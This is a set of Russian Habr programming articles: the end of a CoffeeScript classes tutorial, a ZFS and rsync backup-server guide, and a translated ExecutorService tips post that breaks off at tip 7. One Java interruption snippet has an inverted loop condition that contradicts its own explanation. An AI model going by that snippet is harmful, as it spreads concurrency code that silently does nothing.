@ this.constructor::property = 1 @constructor::property = 1 Class.constructor::property = 1 ``` Если вы заметили, то использование символа *@*, более универсально. Обращение к другим нестатическим членам класса возможно только через объект-прототип базового класса: ``` class A property: 1 @method: -> @::property do A.method # 1 ``` Обращение к другим статическим членам класса доступно через символ @ или *this* или имя класса: ``` class A @property: 1 @method: -> @property + A.property do A.method # 2 ``` Еще один момент, на который стоит обратить особое внимание, это использование оператора *new*: ``` class A @property: 1 @method: -> @property object = new A object.method() # TypeError: Object # has no method 'method' ``` Как видите, обращение к несуществующему методу привело к типу ошибки *TypeError*! Теперь, давайте рассмотрим корректный способ вызова статического члена класса через экземпляр класса: ``` class A @property: 1 @method: -> @property object = new A object.constructor.method() # 1 ``` #### => (fat arrow) Еще одним не маловажным моментом при работе с членами класса, является возможность использовать оператор *=> (fat arrows)*, который позволяет не терять контекст вызова. Например, это может быть полезно для создания функций обратного вызова (*[callback](http://ru.wikipedia.org/wiki/Callback_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)*) ``` class A constructor: (@one, @two) -> method: (three) => @one + @two + three instance = new A 1, 2 object = (callback) -> callback 3 object instance.method # 6 ``` Того же результата, мы могли бы добиться используя метод *call()*: ``` class A constructor: (@one, @two) -> method: (three) -> @one + @two + three instance = new A 1, 2 object = (callback) -> callback.call instance, 3 object instance.method # 6 ``` Теперь, давайте рассмотрим ситуацию с использованием [предиката](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%B8%D0%BA%D0%B0%D1%82): ``` class A constructor: (@splat...) -> method: (three) => @splat instance = new A 1, 2, 3, 4, 5 object = (callback, predicate) -> predicate callback() object instance.method, (callback) -> callback.filter (item) -> item % 2 # [1, 3, 5] ``` В этом примере, мы инициализировали создание класса *A*, с *n*-м количеством параметров типа *Number*. Далее, член класса *method* вернул массив с переданными в конструктор параметрами. После чего, полученный массив был передан предикату, который отфильтровал значения массива по модулю 2, в результате чего был получен новый массив. ### Наследование Наследование в *CoffeScript* осуществляется с помощью оператора *extends*. Рассмотрим пример: ``` class A constructor: (@property) -> method: -> @property class B extends A object = new B 1 object.method() # 1 ``` Несмотря на то, что в классе *B* не определены собственные члены класса он наследует их от *A*. Теперь, обратите внимание на то, что свойство *property* также доступно внутри класса *B*: ``` class A constructor: (@property) -> class B extends A method: -> @property object = new B 1 object.method() # 1 ``` Как видите, суть оператора *extends* очень проста — установление родственной связи между двумя объектами. Не сложно догадаться, что оператор *extends* можно использовать не только с классами: ``` A = (@param) -> A::method = (x) -> @param * x B = (@param) -> B extends A (new B 2).method 2 # 4 ``` К сожалению, официальная документация *CoffeeScript* довольна «скудна» на примеры, однако вы всегда можете воспользоваться транслятором чтобы посмотреть реализацию того или иного куска кода: Наиболее важные опции для анализа программного кода: ``` coffee -c file.coffee # Трансляция .coffee скрипта в JavaScript файл с тем же именем. coffee -p file.coffee # Вывод на терминал результат трансляции coffee -e 'console.log i for i in [0..5]' # Интерактивный режим трансляции coffee -t # Возвращает токены ``` Очень важную ценность для анализа структуры программы имеет параметр *-n (--nodes)*, он возвращает [синтаксическое дерево](http://en.wikipedia.org/wiki/Parse_tree): ``` class A @method: @ class B extends A do (new B).method ``` ``` coffee -n ``` ``` Block Class Value "A" Block Value Obj Assign Value "this" Access "method" Value "this" Class Value "B" Value "A" Block Call Value Parens Block Op new Value "B" Access "method" ``` Наиболее полную информация о синтаксической структуре *CoffeeScript* смотрите в разделе [nodes.coffee](http://coffeescript.org/documentation/docs/nodes.html) официальной документации. Если определить в классах методы с одинаковыми именами, то родной метод перекроет унаследованный: ``` class A constructor: -> method: -> 'A' class B extends A method: -> 'B' object = new B object.method() # B ``` Несмотря на то, что такое поведение вполне ожидаемое, у нас есть возможность вызвать метод класса *A* из *B*: ``` class A A::method = -> 'A' class B extends A B::method = -> super object = new B object.method() # A ``` Этот код мало чем отличается от предыдущего, за небольшим лишь исключением, что в методе класса *B* возвращается некий оператор *super*. Задача оператора *super* — вызов свойств определенных в родительском классе и инициализация параметров вызова. При этом, структура наследования значения не имеет, вызывается метод ближайшего класса в иерархической цепочке наследования: ``` class A A::method = -> 'A' class B extends A B::method = -> 'B' class C extends B C::method = -> super object = new C object.method() # B, потому что ближайший метод method определен в классе B ``` Если метод не определен в прямом родителе, то поиск продолжается следуя по цепочке [делегирующих указателей](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)): ``` class A A::method = -> 'A' class B extends A class C extends B C::method = -> super object = new C 1 object.method() # 'A', потому что ближайший метод method определен в классе A ``` Оператор *super*, также может принимать параметры: ``` class A constructor: (@param) -> A::method = (x) -> x + @param class B extends A B::method = -> super 3 object = new B 1 object.method 2 # 4 (3 + 1) ``` Несмотря на то, что вызывался метод с параметром 2, позже мы переопределили это значение на 3. Если определить оператор *super* в методе *constructor*, то можно переопределить параметры с которыми инициализируется конструктор класса: ``` class A constructor: (@param) -> A::method = (x) -> x + @param class B extends A constructor: (@param) -> super 3 object = new B 1 object.method 2 # 5 (2 + 3) ``` Разумеется, допустимо одновременное использование оператора *super* в членах класса и конструкторе: ``` class A constructor: (@param) -> A::method = (x) -> x + @param class B extends A constructor: (@param) -> super 3 B::method = (x) -> super 4 object = new B 1 object.method 2 # 7 (3 + 4) ``` Теперь, предлагаю подробно рассмотреть внутреннюю реализацию паттерна, который реализует интерфейс наследования: ``` var A, B, object, // Ссылка на метод hasOwnProperty __hasProp = {}.hasOwnProperty; // Функция __extends первым параметром принимает дочерний класс, // вторым, родительский, т.е. child наследует свойства от parent __extends = function(child, parent) { // Перебор свойств объекта parent for (var key in parent) { // Если свойство собственное (не унаследованное) if (__hasProp.call(parent, key)) { // Записать в объект child, свойства объекта parent. // Если свойство с таким именем уже существует, //то оно перезапишится c новым значением child[key] = parent[key]; } } // Создание промежуточной функции-конструктора function ctor() { // Записать в свойство constructor ссылку на объект child this.constructor = child; } // Поменять ссылку прототипа. // Теперь ссылка будет указывать на прототип объекта parent ctor.prototype = parent.prototype; // Установить прототип дочернего объекта на новый объект child.prototype = new ctor(); // Установить ссылку на родительский прототип // Используется для реализации оператора super child.__super__ = parent.prototype; // вернуть ссылку на return child; }; // Родительский конструктор A = (function() { function A() {}; return A; })(); // Дочерний конструктор B = (function(_super) { // Вызов функции __extends. // Первым параметром передается ссылка на объект B, // вторым - ссылка на родительский объект A __extends(B, _super); function B() { // Вызвать родительский конструктор A в контексте конструктора B // Равносильно A.apply(this, arguments); return B.__super__.constructor.apply(this, arguments); } return B; })(A); ``` Подведем итоги: — Классы позволяют более четко визуализировать структуру обобщённых логически связанных сущностей; — Наличие классов разрешает некоторое недопонимание при работе с объектами и наследованием, особенно у тех кто работал с классами ранее; — Несмотря на то, что в *ECMAScript* не определены модификаторы уровня доступа (*public*, *private* и *protected*) их можно реализовать самостоятельно (хоть и через одно место). — Внутренняя реализация классов очень проста; ### Дополнительная литература [Тонкости ECMA-262-3. Часть 7.1. ООП: Общая теория](http://dmitrysoshnikov.com/ecmascript/ru-chapter-7-1-oop-general-theory/) [Тонкости ECMA-262-3. Часть 7.2. ООП: Реализация в ECMAScript](http://dmitrysoshnikov.com/ecmascript/ru-chapter-7-2-oop-ecmascript-implementation/) [Прототипное программирование](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D1%82%D0%B8%D0%BF%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) [Объектно-ориентированное программирование](http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) [Наследование](http://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) [Полиморфизм](http://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%B8%D0%BC%D0%BE%D1%80%D1%84%D0%B8%D0%B7%D0%BC_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) [Инкапсуляция](http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%BA%D0%B0%D0%BF%D1%81%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) [Делегирование](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) > PS: На самом деле, некоторое время я даже сомневался в целесообразности написания этой темы, поскольку работа с классами в *CoffeeScript* реализована настолько просто — насколько это возможно. > >
https://habr.com/ru/post/146405/
null
ru
null
# Организация backup-сервера. Linux, ZFS и rsync TL;DR: Статья о настройке бекапа линуксовых серверов. В качестве хранилища используется раздел ZFS с включенными дедубликацией и компрессией. Ежедневно делаются снапшоты, которые сохраняются в течение недели (7 штук). Ежемесячные снапшоты хранятся в течение года (еще 12 штук). В качестве транспорта выступает rsync: на сервере он запущен демоном, на клиентах он запускается из crontab. Так получилось, что у меня есть пара серверов, на которых под KVM живут виртуальные машины. Хотелось бекапить образы этих машин в сеть, но так, чтобы выполнялись условия: * Хранить все бекапы за последнюю неделю. * Хранить в течении года ежемесячные бекапы. * Никаких сторонних бекап-агентов. На клиентах только стандартное и проверенное поколениями админов ПО. * Экономно расходовать место в хранилище. Желательна компрессия и дедубликация данных. * Все файлы должны быть доступны без дополнительных инструментов и оболочек. Идеальный вариант: каждый бекап в отдельном каталоге. Можно ли всё это совместить? Да, и очень просто. *Все компьютеры, о которых идет речь в этой статье, являются серверами. Но как-то глупо и длинно делить их на “сервер, который хранит бекапы” и “сервер, бекапы которого хранит сервер, который хранит бекапы”. Поэтому первый я буду называть просто сервером, а второй уже начал называть клиентом.* #### 1. ZFS с компрессией и дедубликацией Наиболее привычная для меня ОС – Linux. Всё то же самое без особых изменений должно подойти и к Solaris, и к FreeBSD, в которых ZFS есть давно и что называется “из коробки”. Но Linux мне ближе и роднее, а [проект по портированию на него ZFS](http://zfsonlinux.org/) выглядит уже достаточно зрелым. За год экспериментов у меня не было с ним заметных проблем. Поэтому поставил на сервер Debian Wheezy, [подключил официальный репозитарий проекта и установил нужные пакеты](http://zfsonlinux.org/debian.html). Создал пул, указав что zfs у меня будет на /dev/md1 и что монтировать эту файловую систему я хочу к каталогу /mnt/backup: ``` # zpool create backup -m /mnt/backup /dev/md1 ``` По имени устройства /dev/md1 можно заметить, что я использую линуксовый software raid. Да, я знаю, что у ZFS есть свой способ создавать зеркала. Но поскольку на этой машине уже есть одно зеркало (для корневого раздела) и оно сделано штатным mdadm, то и для второго зеркала я предпочту использовать его же. Включил дедубликацию и компрессию, сделал видимым каталог со снапшотами: ``` # zfs set dedup=on backup # zfs set compression=on backup # zfs set snapdir=visible backup ``` Положил в /usr/local/bin скрипт для создания снапшотов: ``` #!/bin/bash export LANG=C ZPOOL='backup' # Храним все снапшоты 7 дней # снапшот на четвертое число каждого месяца храним год NOWDATE=`date +20%g-%m-%d` # дата формата ГГГГ-ММ-ДД OLDDAY=`date -d -7days +%e` if [ $OLDDAY -eq '4' ] then OLDDATE=`date -d -1year-7days +20%g-%m-%d` # получаем дату -1 год и на7 дней else OLDDATE=`date -d -7days +20%g-%m-%d` # получаем дату -7 дней fi /sbin/zfs snapshot $ZPOOL@$NOWDATE /sbin/zfs destroy $ZPOOL@$OLDDATE 2>/dev/null ``` Этот скрипт добавил в crontab для ежедневного запуска. Чтобы содержимое снапшота соответствовало его дате, скрипт лучше запускать ближе к концу суток. Например, в 23:55. Четвертое число месяца выбрано почти случайно. Запускал я всё этого третьего августа и хотелось поскорее сделать бекап, который будет храниться год. Следующий день был четвертым. Снапшоты будут сохраняться в каталоге /mnt/backup/.zfs/snapshot. Каждый снапшот – отдельный каталог с именем в виде даты на момент создания этого снапшота. Внутри снапшота полная копия каталога /mnt/backup в том виде, в котором он был в этот момент. #### 2. Rsync на сервере Традиционно rsync настраивают для работы поверх ssh. На клиентах настраивается авторизация по ключам (и без пароля), а эти ключи складываются на бекап-сервер. Сервер ходит по ssh на клиентов и забирает с них файлы. Преимущество этого подхода – шифрование трафика. Но мне не нравится идея с беспарольным входом по ssh (особенно в свете последних уязвимостей в bash). Так же мне не нравится идея инициировать бекап со стороны сервера: иногда перед бекапом на клиенте хочется выполнить какой-нибудь скрипт (например, сбросить дамп mysql), и только после завершения этого скрипта начинать бекап. Поэтому мой выбор – rsync, запущенный демоном на сервере и запускаемый из crontab на клиентах. Поставил на сервер rsync (штатный, из репозитария), и чтобы он запускался при старте системы, написал в /etc/default/rsync: ``` RSYNC_ENABLE=true ``` Создал на сервере /etc/rsyncd.conf такого содержания: ``` uid = nobody gid = nogroup use chroot = yes max connections = 10 pid file = /var/run/rsyncd.pid [kvm01] path = /mnt/backup/kvm01 comment = KVM01 backups hosts allow = 192.168.xxx.xxx hosts deny = * read only = no [kvm02] path = /mnt/backup/kvm02 comment = KVM02 backups hosts allow = 192.168.xxx.yyy hosts deny = * read only = no ``` 192.168.xxx.xxx и 192.168.xxx.yyy – это адреса тех серверов, которые будут бекапиться. Зовут их kvm01 и kvm02. Их файлы будут лежать в /mnt/backup/kvm01 и /mnt/backup/kvm02. Поэтому: ``` # mkdir /mnt/backup/kvm01 # mkdir /mnt/backup/kvm02 # chown nobody:nogroup /mnt/backup/kvm01 # chown nobody:nogroup /mnt/backup/kvm02 ``` Запустил rsync: ``` # /etc/init.d/rsync start ``` #### 3. Rsync на клиентах Минимально необходимый скрипт для копирования файлов с клиента kvm02 на сервер с адресом 192.168.xxx.zzz будет выглядеть примерно так: ``` #!/bin/bash RSYNCBACKUPDIR="rsync://192.168.xxx.zzz/kvm02" LOCALDIR="/virt/files" rsync -vrlptD --delete $LOCALDIR $RSYNCBACKUPDIR ``` Разумется, если речь идет о бекапе виртуальных машин, то этот скрипт стоит пополнить командами создания и удаления LVM-снапшота, монтирования и отмонтирования его содержимого и так далее. Но эта тема уже выходит за рамки данной статьи. #### 4. Восстановление Для восстановления файлов из бекапа клиента KVM01 за 4 августа 2014 года достаточно будет на сервере перейти в каталог /mnt/backup/.zfs/snapshot/2014-08-04/kvm01/ и скопировать оттуда файлы любым привычным способом. Каждый конкретный бекап выглядит как обычный каталог, доступный только для чтения. Для поиска определенного файла в этом бекапе можно использовать стандартные утилиты, такие как find или grep. #### 5. Заключение Сейчас на сервере 9 снапшотов: 7 ежедневных и 2 ежемесячных. Плюс сегодняшний бекап, снапшот с которого снимется вечером. Размер раздела с бекапами составляет 1.8T. Общий объем файлов — 3.06T. Физически занимают на диске они 318G. Суммарный объем сегодняшнего бекапа — 319G. Да, 10 бекапов на ZFS с компрессией и дедубликацией занимают места меньше, чем один бекап занимал бы на файловой системе без этих полезных свойств. ``` # zpool list NAME SIZE ALLOC FREE CAP DEDUP HEALTH ALTROOT backup 1.80T 310G 1.49T 16% 10.37x ONLINE - ``` ``` # zfs list NAME USED AVAIL REFER MOUNTPOINT backup 3.06T 1.42T 318G /mnt/backup ``` Поскольку сам rsync не занимается шифрованием передаваемых данных, высовывать такую схему без изменений в интернет небезопасно. Добавить шифрование можно, пустив трафик через ipsec или stunnel, например. Выше я написал, что заметных проблем с ZFS у меня не было. На самом деле, одна проблема была. Однажды ночью, когда оба клиента активно бекапились, сервер дважды сообщил в dmesg, что task rsync blocked for more than 120 seconds. При этом оба бекапа успешно завершились, ничего не зависло, данные не потерялись. Подозреваю, что это проявление знаменитого бага [12309](https://bugzilla.kernel.org/show_bug.cgi?id=12309). Разнес бекапы по времени, с тех пор проблема не повторялась.
https://habr.com/ru/post/239513/
null
ru
null
# 10 советов по использованию ExecutorService *Предлагаю читателям «Хабрахабра» перевод публикации [«ExecutorService — 10 tips and tricks»](http://www.nurkiewicz.com/2014/11/executorservice-10-tips-and-tricks.html).* ![](https://habrastorage.org/r/w780q1/files/f91/418/a40/f91418a4049743a19b6902accfb0e1af.jpg) Абстракция ExecutorService была представлена еще в Java 5. На дворе шел 2004 год… На секунду – сейчас Java 5 и 6 больше не поддерживаются и Java 7 готовится пополнить список. А многие Java-программисты по-прежнему не в полной мере понимают как работает ExecutorService. В вашем распоряжении множество источников, но сейчас я хотел бы рассказать о малоизвестных тонкостях и практиках по работе с ней. #### **1. Именуйте пулы потоков** Не могу не упомянуть об этом. При дампинге или во время дебаггинга можно заметить, что стандартная схема именования потока следующая: *pool-N-thread-M*, где N обозначает последовательный номер пула (каждый раз, когда вы создаете новый пул, глобальный счетчик N инкрементится), а M – порядковый номер потока в пуле. Например, *pool-2-thread-3* означает третий поток во втором пуле жизненного цикла JVM. См.: [Executors.defaultThreadFactory()](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executors.html#defaultThreadFactory--). Не очень информативно, не правда ли? JDK немного затрудняет правильное именование потоков, т.к. стратегия именования скрыта внутри [ThreadFactory](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadFactory.html). К счастью, Google Guava имеет встроенный класс для этого: ``` import com.google.common.util.concurrent.ThreadFactoryBuilder; final ThreadFactory threadFactory = new ThreadFactoryBuilder() .setNameFormat("Заказы-%d") .setDaemon(true) .build(); final ExecutorService executorService = Executors.newFixedThreadPool(10, threadFactory); ``` По умолчанию создаются *non-daemon* пулы потоков, решайте сами где какие уместнее. #### **2. Изменяйте имена в зависимости от контекста** Про этот трюк я узнал из статьи [«Supercharged jstack: How to Debug Your Servers at 100mph»](http://www.takipiblog.com/supercharged-jstack-how-to-debug-your-servers-at-100mph/). Раз мы знаем про имена потоков, мы можем менять их в рантайме, когда захотим! Это имеет смысл, поскольку дамп потока содержит имена классов и методов без параметров и локальных переменных. Включая некоторую важную информацию в имя потока, мы можем легко проследить какие сообщения/записи/запросы и т.п. тормозят систему или вызывают взаимную блокировку. ``` private void process(String messageId) { executorService.submit(() -> { final Thread currentThread = Thread.currentThread(); final String oldName = currentThread.getName(); currentThread.setName("Обработка-" + messageId); try { //основная логика... } finally { currentThread.setName(oldName); } }); } ``` Внутри блока *try-finally* текущий поток называется *Обработка-ID-текущего-сообщения*, что может пригодиться при отслеживании потока сообщений в системе. #### **3. Явное и безопасное завершение** Между клиентскими потоками и пулом потоков лежит очередь заданий. Когда приложение завершает работу, вы должны побеспокоиться о двух вещах: что произойдет с заданиями, ожидающими в очереди, и как поведут себя уже выполняющиеся (об этом позже). Удивительно, но многие разработчики не закрывают пул потоков должным образом. Есть два способа: либо разрешите отработать всем задачам в очереди (*shutdown()*), либо удалите их (*shutdownNow()*) – в зависимости от конкретного случая. Например, если мы поставили в очередь набор задач и хотим вернуть управление как только все они выполнятся, используем *shutdown()*: ``` private void sendAllEmails(List emails) throws InterruptedException { emails.forEach(email -> executorService.submit(() -> sendEmail(email))); executorService.shutdown(); final boolean done = executorService.awaitTermination(1, TimeUnit.MINUTES); log.debug("Все ли письма были отправлены? {}", done); } ``` В этом примере мы отправляем пачку писем, каждое в виде отдельного задания для пула потоков. После постановки этих заданий в очередь мы закрываем пул, чтобы он больше не мог принять новых задач. Далее мы ждем максимум одну минуту пока все задания не будут выполнены. Однако, если какие-то задания еще не выполнены, *awaitTermination()* просто вернет *false*. Кроме того, оставшиеся задания продолжат выполняться. Знаю, хипстеры готовы пойти на: ``` emails.parallelStream().forEach(this::sendEmail); ``` Зовите меня старомодным, но мне нравится контролировать количество параллельных потоков. А альтернатива постепенному завершению *shutdown()* – это *shutdownNow()*: ``` final List rejected = executorService.shutdownNow(); log.debug("Отклоненные задачи: {}", rejected.size()); ``` На этот раз все стоящие в очереди задачи отбрасываются и возвращаются. Уже запущенным задачам разрешено продолжить работу. #### **4. Обрабатывайте прерывание потока с осторожностью** Менее известная особенность интерфейса *Future* – возможность отмены. Далее приводится одна из моих предыдущих статей: [InterruptedException and interrupting threads explained](http://www.nurkiewicz.com/2014/05/interruptedexception-and-interrupting.html). Поскольку исключение [InterruptedException](http://docs.oracle.com/javase/8/docs/api/java/lang/InterruptedException.html) явно пробрасываемое (checked), никто, скорее всего, даже не задумывался о том, сколько ошибок оно подавило за все эти годы. И так как оно должно быть обработано, многие делают это неправильно или необдуманно. Давайте рассмотрим простой пример потока, который периодически делает некую очистку, а в промежутках большую часть времени спит. ``` class Cleaner implements Runnable { Cleaner() { final Thread cleanerThread = new Thread(this, "Чистильщик"); cleanerThread.start(); } @Override public void run() { while(true) { cleanUp(); try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } private void cleanUp() { //... } } ``` Этот код ужасен как ни крути! 1. Запуск потока из конструктора — чаще всего плохая идея. Например, некоторые фреймворки, такие как Spring, любят создавать динамические подклассы для поддержки перехвата методов. В конечном счете, мы получим два потока, запущенных из двух экземпляров. 2. Исключение *InterruptedException* проглочено, а не обработано как следует. 3. Этот класс запускает новый поток в каждом экземпляре. Вместо этого, он должен использовать [ScheduledThreadPoolExecutor](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledThreadPoolExecutor.html), который будет выдавать одни и те же потоки для многих объектов, что более надежно и эффективно. 4. Кроме того, с помощью *ScheduledThreadPoolExecutor* мы можем избежать написания циклов засыпания/работы и перейти к работе действительно по расписанию. 5. Последнее, но не менее важное. Нет никакого способа избавиться от этого потока, даже если на экземпляр Чистильщика больше никто не ссылается. Все перечисленные проблемы важны, но подавление *InterruptedException* – наибольший грех. Прежде чем мы поймем почему, давайте подумаем для чего это исключение нужно и как мы можем использовать его преимущества, чтобы изящно прерывать потоки. Многие блокирующие операции в JDK обязывают обрабатывать *InterruptedException*, например: * *Object.wait()* * *Thread.sleep()* * *Process.waitFor()* * Множество блокирующих методов в *java.util.concurrent.\**, такие как *ExecutorService.awaitTermination(), Future.get(), BlockingQueue.take(), Semaphore.acquire() Condition.await()* и много, много других * *SwingUtilities.invokeAndWait()* Обратите внимание, что блокирующий ввод/вывод не пробрасывает InterruptedException (что прискорбно). Если все эти классы декларируют *InterruptedException*, вы можете быть удивлены, когда эти исключения будут брошены: * Когда поток блокируется на каком-нибудь методе, декларирующем *InterruptedException*, и вы вызываете *Thread.interrupt()* на этом потоке, скорее всего блокирующий метод незамедлительно бросит *InterruptedException*. * Если вы поставили задачу в очередь (*ExecutorService.submit()*) и вызвали *Future.cancel(true)* пока она еще выполняется, пул потоков постарается прервать поток, выполняющий эту задачу, эффективно завершив его. Зная, что на самом деле представляет собой *InterruptedException*, мы сможем обработать его правильно. Если кто-то пытается прервать наш поток, и мы обнаружили это, обрабатывая *InterruptedException*, разумно будет разрешить завершить его незамедлительно, например: ``` class Cleaner implements Runnable, AutoCloseable { private final Thread cleanerThread; Cleaner() { cleanerThread = new Thread(this, "Cleaner"); cleanerThread.start(); } @Override public void run() { try { while (true) { cleanUp(); TimeUnit.SECONDS.sleep(1); } } catch (InterruptedException ignored) { log.debug("Interrupted, closing"); } } //... @Override public void close() { cleanerThread.interrupt(); } } ``` Обратите внимание, что блок *try-catch* в данном примере окружает цикл *while*. Таким образом, если *sleep()* выбросит *InterruptedException*, мы прервем этот цикл. Вы можете возразить, что мы должны логировать стек исключения *InterruptedException*. Это зависит от ситуации. В данном случае прерывание потока является ожидаемым поведением, а не падением. В общем, на ваше усмотрение. В большинстве случаев поток прервется во время sleep() и мы быстренько завершим метод *run()* в это же время. Если вы очень осторожны, то наверняка спросите – а что будет, если поток прервется во время выполнения чистки *cleanUp()*? Зачастую вы столкнетесь с решением вручную выставить флаг, наподобие этого: ``` private volatile boolean stop = false; @Override public void run() { while (!stop) { cleanUp(); TimeUnit.SECONDS.sleep(1); } } @Override public void close() { stop = true; } ``` Помните, что стоп-флаг (он должен быть волатильным!) не будет прерывать блокирующие операции, мы должны дождаться пока отработает метод sleep(). С другой стороны, этот явный флаг дает нам лучший контроль, т.к. мы можем мониторить его в любое время. Оказывается, прерывание потоков работает точно так же. Если кто-то прервал поток, пока он выполнял неблокирующие вычисления (например, *cleanUp()*), такие вычисления не будут прерваны незамедлительно. Однако поток уже отмечен как прерванный, поэтому любая следующая блокирующая операция, такая как *sleep()* немедленно прервется и выбросит *InterruptedException*, поэтому мы не потеряем этот сигнал. Мы также можем воспользоваться этим фактом, если реализуем неблокирующий поток, который по-прежнему хочет использовать преимущества механизма прерывания потоков. Вместо того чтобы полагаться на *InterruptedException*, мы должны просто периодически проверять *Thread.isInterrupted():* ``` public void run() { while (Thread.currentThread().isInterrupted()) { someHeavyComputations(); } } ``` Как видите, если кто-то прервет наш поток, мы отменим вычисления так скоро, насколько позволят предыдущая итерация *someHeavyComputations*(). Если она выполняется очень долго или бесконечно, мы никогда не достигнем флага прерывания. Примечательно, что этот флаг не одноразовый. Мы можем вызвать *Thread.interrupted()* вместо *isInterrupted(),* что сбросит значение флага и мы сможем продолжить. Иногда вы можете захотеть проигнорировать флаг прерывания и продолжить выполнение. В этом случае *interrupted()* может пригодиться. Если вы олдскульный программист, вы наверняка помните метод *Thread.stop()*, который устарел 10 лет назад. В Java 8 были планы по его «деимплементации», но в 1.8u5 он по-прежнему с нами. Тем не менее, не используйте его и рефакторите любой код, в котором он встречается, используя *Thread.interrupt()*. Возможно, иногда вы захотите полностью проигнорировать InterruptedException. В этом случае обратите внимание на класс *Uninterruptibles* из Guava. Он содержит много методов таких как *sleepUninterruptibly()* или *awaitUninterruptibly(CountDownLatch).* Просто будьте осторожны с ними. Они не декларируют *InterruptedException*, но также полностью избавляют поток от прерывания, что довольно необычно. Итак, теперь у вас есть понимание того, почему некоторые методы бросают *InterruptedException*: * Выброшенные *InterruptedException* должны быть адекватно обработаны в большинстве случаев. * Подавление *InterruptedException* – зачастую плохая идея. * Если поток был прерван во время неблокирующих вычислений. Используйте *isInterrupted*(). #### **5. Следите за длиной очереди и определяйте границу** Пулы потоков неправильного размера могут привести к падению производительности, нестабильности и утечкам памяти. Если вы укажете слишком мало потоков, очередь будет расти, потребляя много памяти. С другой стороны, слишком много потоков будут замедлять всю систему из-за частых переключений контекста, что приведет к тем же симптомам. Важно сохранять глубину очереди и определять ее границы. А перегруженный пул может просто временно отказываться от новых задач. ``` final BlockingQueue queue = new ArrayBlockingQueue<>(100); executorService = new ThreadPoolExecutor(n, n, 0L, TimeUnit.MILLISECONDS, queue); ``` Вышеприведенный код эквивалентен *Executors.newFixedThreadPool(n)*, однако вместо того, чтобы использовать по умолчанию неограниченный *LinkedBlockingQueue*, мы используем *ArrayBlockingQueue* с фиксированной емкостью в 100. Это означает, что если 100 задач уже набраны, следующая задача будет отклонена с исключением *RejectedExecutionException*. Кроме того, поскольку очередь теперь доступна извне, мы можем периодически справляться о ее размере, чтобы записать в лог, отправить в JMX и т.д. #### **6. Помните об обработке исключений** Каков результат выполнения следующего кода? ``` executorService.submit(() -> { System.out.println(1 / 0); }); ``` Я был озадачен тем, как много раз он ничего не печатал. Никаких признаков *java.lang.ArithmeticException: / by zero*, ничего. Пул потоков просто проглатывал исключение, как будто оно никогда не выбрасывалось. Если бы это был поток, созданный «с нуля», без обертки в виде пула, мог бы сработать [UncaughtExceptionHandler](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.UncaughtExceptionHandler.html). Но с пулом потоков вы должны быть более осторожны. Если вы отправили на выполнение *Runnable* (без какого-либо результата, как выше), вы обязаны поместить все тело метода внутрь *try-catch*. Если вы помещаете в очередь Callable, удостоверьтесь, что вы всегда достаете его результат с помощью блокирующего get(), чтобы заново бросить исключение: ``` final Future division = executorService.submit(() -> 1 / 0); //ниже будет выброшено ExecutionException, вызванное ArithmeticException division.get(); ``` Примечательно, что даже в *Spring framework* допустили эту ошибку в [@Async](http://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/scheduling/annotation/Async.html), см.: [SPR-8995](https://jira.spring.io/browse/SPR-8995) и [SPR-12090](https://jira.spring.io/browse/SPR-12090). #### **7. Следите за временем ожидания в очереди** Мониторинг глубины рабочей очереди односторонний. При решении проблем с одиночной транзакцией/задачей, имеет смысл посмотреть сколько времени прошло между постановкой задачи и началом ее выполнения. Это время в идеале должно стремиться к нулю (когда в пуле имеется простаивающий поток), однако оно будет увеличиваться по мере постановки задач в очередь. Кроме того, если пул не имеет фиксированного числа потоков, 